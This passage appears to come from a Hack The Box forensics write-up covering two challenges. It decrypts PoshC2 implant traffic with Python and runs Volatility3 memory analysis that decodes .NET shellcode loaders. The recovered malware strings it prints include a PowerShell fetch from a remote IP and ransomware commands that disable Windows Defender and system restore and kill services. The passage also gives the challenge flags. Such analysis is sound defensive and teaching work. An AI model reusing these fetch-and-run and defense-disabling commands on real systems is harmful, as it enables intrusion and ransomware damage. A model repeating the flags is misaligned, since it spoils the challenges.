randomURI, stringURLS, killDate, sleep, key2, stringIMGS, jitter = parse_primer(dec_primer)
The most import stuff we had to recover was key2 and StringIMGS. At this point, we can start looking at the rest of the files.
Images
To parse image files, we can use the following functions. First, we parse the stringIMGS value, so that we can efficiently remove the random strings. Then, we have to create a different decryption function for images, as they are not base64 encoded. Finally, we process the whole thing, and we have to uncompress the data, because all data that passes through the Encryption function, which all images do, are compressed.
def parse_image_strings(stringIMGS):
_re = re.compile(b"(?<=\")[^\"]*(?=\")|[^\" ]+")
_newImgs = re.findall(_re,stringIMGS.replace(b',',b''))
_newImgs = [i for i in _newImgs if i!=b'']
_newImgs = [base64.b64decode(i) for i in _newImgs]
return _newImgs
def decrypt_images(enc, key):
iv = enc[0:16]
key = base64.b64decode(key)
cipher = AES.new(key, AES.MODE_CBC, iv)
dec = cipher.decrypt(enc[16:])
return dec
def parse_imagefile(data,key,imgs_data):
indexes = len([i for i in imgs_data if i in data][0])
len_random_string = 1500 - indexes
enc_data = data[indexes+len_random_string:]
dec_data = decrypt_images(enc_data,key)
uncompressed = gzip.decompress(dec_data)
return uncompressed
Other Files
To parse the rest of the files, I basically re-wrote the whole Implant Core function in my own words:
def decrypt_inf(encf,key2):
cmds = []
text = decrypt(encf, key2)
if text.lower().startswith(b'multicmd'):
text2 = text.replace(b'multicmd',b'')
array2 = text2.split(b"!d-3dion@LD!-d")
array2 = [i for i in array2 if i != b'']
for val in array2:
taskid = val[0:5]
cmd = val[5:]
if cmd.lower().startswith(b'exit'):
print("its an exit")
if cmd.lower().startswith(b'loadmodule'):
s = cmd.replace(b'loadmodule',b'')
deced = base64.b64decode(s)
ext = filetype.guess(deced).extension
#Exec(stringBuilder.ToString(), taskid, key)
fname = 'decrypted/module_' + taskid.decode() + '.' + str(ext)
with open(fname,'wb') as of:
of.write(deced)
if cmd.lower().startswith(b'run-dll-background') or cmd.lower().startswith(b'run-exe-background'):
#rAsm(cmd)
s = cmd.replace(b'run-dll-background')
deced = base64.b64decode(s)
ext = filetype.guess(deced).extension
fname = 'decrypted/background_exe' + taskid.decode() + '.' + str(ext)
with open(fname,'wb') as of:
of.write(deced)
else:
cmds.append(text)
return cmds
Finally, we can remove the useless files, that contain no data, from our filelist and then iterate over each file and dump its contents to a ‘decrypted’ directory. I also added a ‘isBase64’ function, because sometimes the stuff is base64 encoded, sometimes it’s not…
def isBase64(sb):
try:
if isinstance(sb, str):
# If there's any unicode here, an exception will be thrown and the function will return false
sb_bytes = bytes(sb, 'ascii')
elif isinstance(sb, bytes):
sb_bytes = sb
else:
raise ValueError("Argument must be string or bytes")
return base64.b64encode(base64.b64decode(sb_bytes)) == sb_bytes
except Exception:
return False
import filetype
import os
import gzip
fnames = os.listdir()
fnames.pop(fnames.index(primer_file))
bad = [b'
Checking Output Files
In the output directory, there are five files that actually contain data:
a png, two text files and three executables.
Text Files
– output of a mimikatz command
– only contains ‘WM_POWERBROADCAST:GUID_MONITOR_POWER_ON:On’
Executables
– ‘Core Service’ with md5 a4d14345817ba95cb8ab1ffb2140af0b, flagged by Microsoft in Virus Total as ‘VirTool:MSIL/PoshC2.C’
– PwrStatusTracker.dll – md5: f4702d36331c71df5568dbc5bc31deee flagged by McAffee in Virus Total as ‘Artemis’
– SharpSploit.dll -md5: 4b580075b91a0c0fdacf2695c92d6839 flagged by Elastic as ‘Windows.Hacktool.Mimikatz’
Logically, if those Executables are being fully recognized, it’s unlikely they contain the flag, as the executable would have to be modified, and the hash wouldn’t match.
PNG File
– A screenshot of the User’s desktop, which… contains the flag!
Flag: HTB{h0w_c4N_y0U_s3e_p05H_c0mM4nd?}
Pandora's Bane
Difficulty: hard
1. File Analysis
We are given a single file, which is a memory dump. Unfortunately, no profiles were provided, but considering the previous challenge was with Volatility3, we can try and see if it automatically finds the right profile.
vol3 -f mem.raw windows.pslist.PsList
and it works! Okay, so the first thing I like to do, is dump the output of the malfind plugin to a file, and check what’s up:
vol3 -f mem.raw windows.malfind.Malfind > malfind.txt
cat malfind.txt | grep -i vads
The processes that are returned are MsMpEng.exe, smartscreen.exe, and powershell.exe. To be honest, it’s very likely Powershell is the evil process.
Next, I like to dump the output of the filescan plugin to a text file. It’s good reference, and we can check what type of files there are:
vol3 -f mem.raw windows.filescan.FileScan > filescan.txt
cat filescan.txt | grep -F '\Users\' | grep -F '.exe'
Checking for a bunch of extensions, there is one returned for .txt, which is Powershell’s ConsoleHost_history.txt. Given that the process came back on the Malfind plugin, we can dump its contents:
vol3 -f mem.raw windows.dumpfiles.DumpFiles --virtaddr 0xdb8d3fd4d790
cat file.0xdb8d3fd4d790.0xdb8d3e24f5e0.DataSectionObject.ConsoleHost_history.txt.dat
#dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart
#whoami /all
Well, nothing of interest. Next, we can dump the whole process memory, and check it out with strings. A common word to check in powershell stuff is ‘bypass’
vol3 -f mem.raw windows.memmap.Memmap --pid 5644 --dump
strings -a -el pid.5644.dmp > pid.5644.dmp.txt
strings -a pid.5644.dmp >> pid.5644.dmp.txt
cat pid.5644.dmp.txt | grep -i bypass
A potential POC ?
[.invoke('http://137.135.65.29/bypass.txt')
h5disable-computerrestore "c:\"powershell.exe -executionpolicy bypasstaskkill /f /im teamviewer.exetaskkill /f /im jusched.exenet stop mikroclientwservicenet stop mssql$mikronet stop foxitreaderservicewindows defender" /v disableantispyware /t reg_dword /d 1 /fadvanced" /v showsuperhidden /t reg_dword /d 1 /fhowtobackfiles.txt@protonmail.comencrypter
Maybe I’m tripping, but we can check the NetScan plugin and see if the address is returned:
vol3 -f mem.raw windows.netscan.NetScan
Nothing.. It’s probably a Defender text.
Now, checking the Powershell dump for ‘Base64’
cat pid.5644.dmp.txt | grep -F Base64
and… bingo! There are a lot of different calls for ‘[System.Convert]::FromBase64String’, followed by long base64 encoded strings. These are all associated with event ID 4104 which means a remote command was executed. This reminds me of CyberDefenders’ CyberCorp challenge . We can quickly filter for them, save them to a file and load them in python:
echo "import base64" > my_vals.py
cat pid.5644.dmp.txt | grep -F '[System.Convert]::FromBase64String' | sed 's/^.*FromBase64String/base64\.b64decode/g' | sed '/(\\/d' | tr '\n' ',' >> vals.py
sed -i '1s/^/my_vars = [/' vals.py
sed -i 's/(""),/("")]/g' vals.py
sed -i 's/(\\/(/g' vals.py
cat vals.py >> my_vals.py
Malware Analysis
We have the files saved in a list, now we can import them and write them to a file:
Checking for potential strings:
from my_vals import *
import magic
my_vars = [i for i in my_vars if i!= b'']
# had too ...
[i for i in my_vars if b'HTB' in i] #none
len([i for i in my_vars if b'shellcode' in i])
#6
[magic.from_buffer(i) for i in my_vars]
#all .NET
We could try and dump the shellcodes directly using subprocess and calling ilspycmd, since they’re all .net assemblies
import subprocess
from pwn import xor
import shutil
import glob
import os
def sub_process(fname,i):
command = ['ilspycmd', '-o', str(i), '-p', fname]
p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout, stderr = p.communicate()
os.mkdir('shells')
for i in range(len(my_vars)):
fname = 'shells/' + str(i) + '.exe'
with open(fname, 'wb') as of:
of.write(my_vars[i])
os.mkdir('shells/'+str(i))
sub_process(fname,'shells/'+str(i))
shutil.rmtree('shells/' + str(i) + '/Properties')
for file in glob.glob('shells/'+str(i) + '/*/**' ,recursive=True):
if file.endswith('.cs'):
dat = open(file,'r').read()
if 'shellcode' in dat:
pt = dat.replace('\t','').replace('\n','')
shellcode_idx = pt.find('shellcode')
end_arr = pt[shellcode_idx:].find('}')
shellcode = pt[shellcode_idx:shellcode_idx+end_arr]
shellcode = eval(shellcode[shellcode.find('{')+1:])
key_idx = pt[shellcode_idx+end_arr:].find('{')
key_end = pt[shellcode_idx+end_arr+key_idx:].find('}')
key = eval(pt[shellcode_idx+end_arr+key_idx:shellcode_idx+end_arr+key_idx+key_end][1:])
enced = xor(shellcode,key)
if b'HTB' in enced:
print(enced[enced.find(b'HTB'):])
else:
print(enced)
#b"HTB{wsl_ox1d4t10n_4nd_rusty_m3m0ry_4rt1f4cts!!}' -AsPlainText -Force)\x00"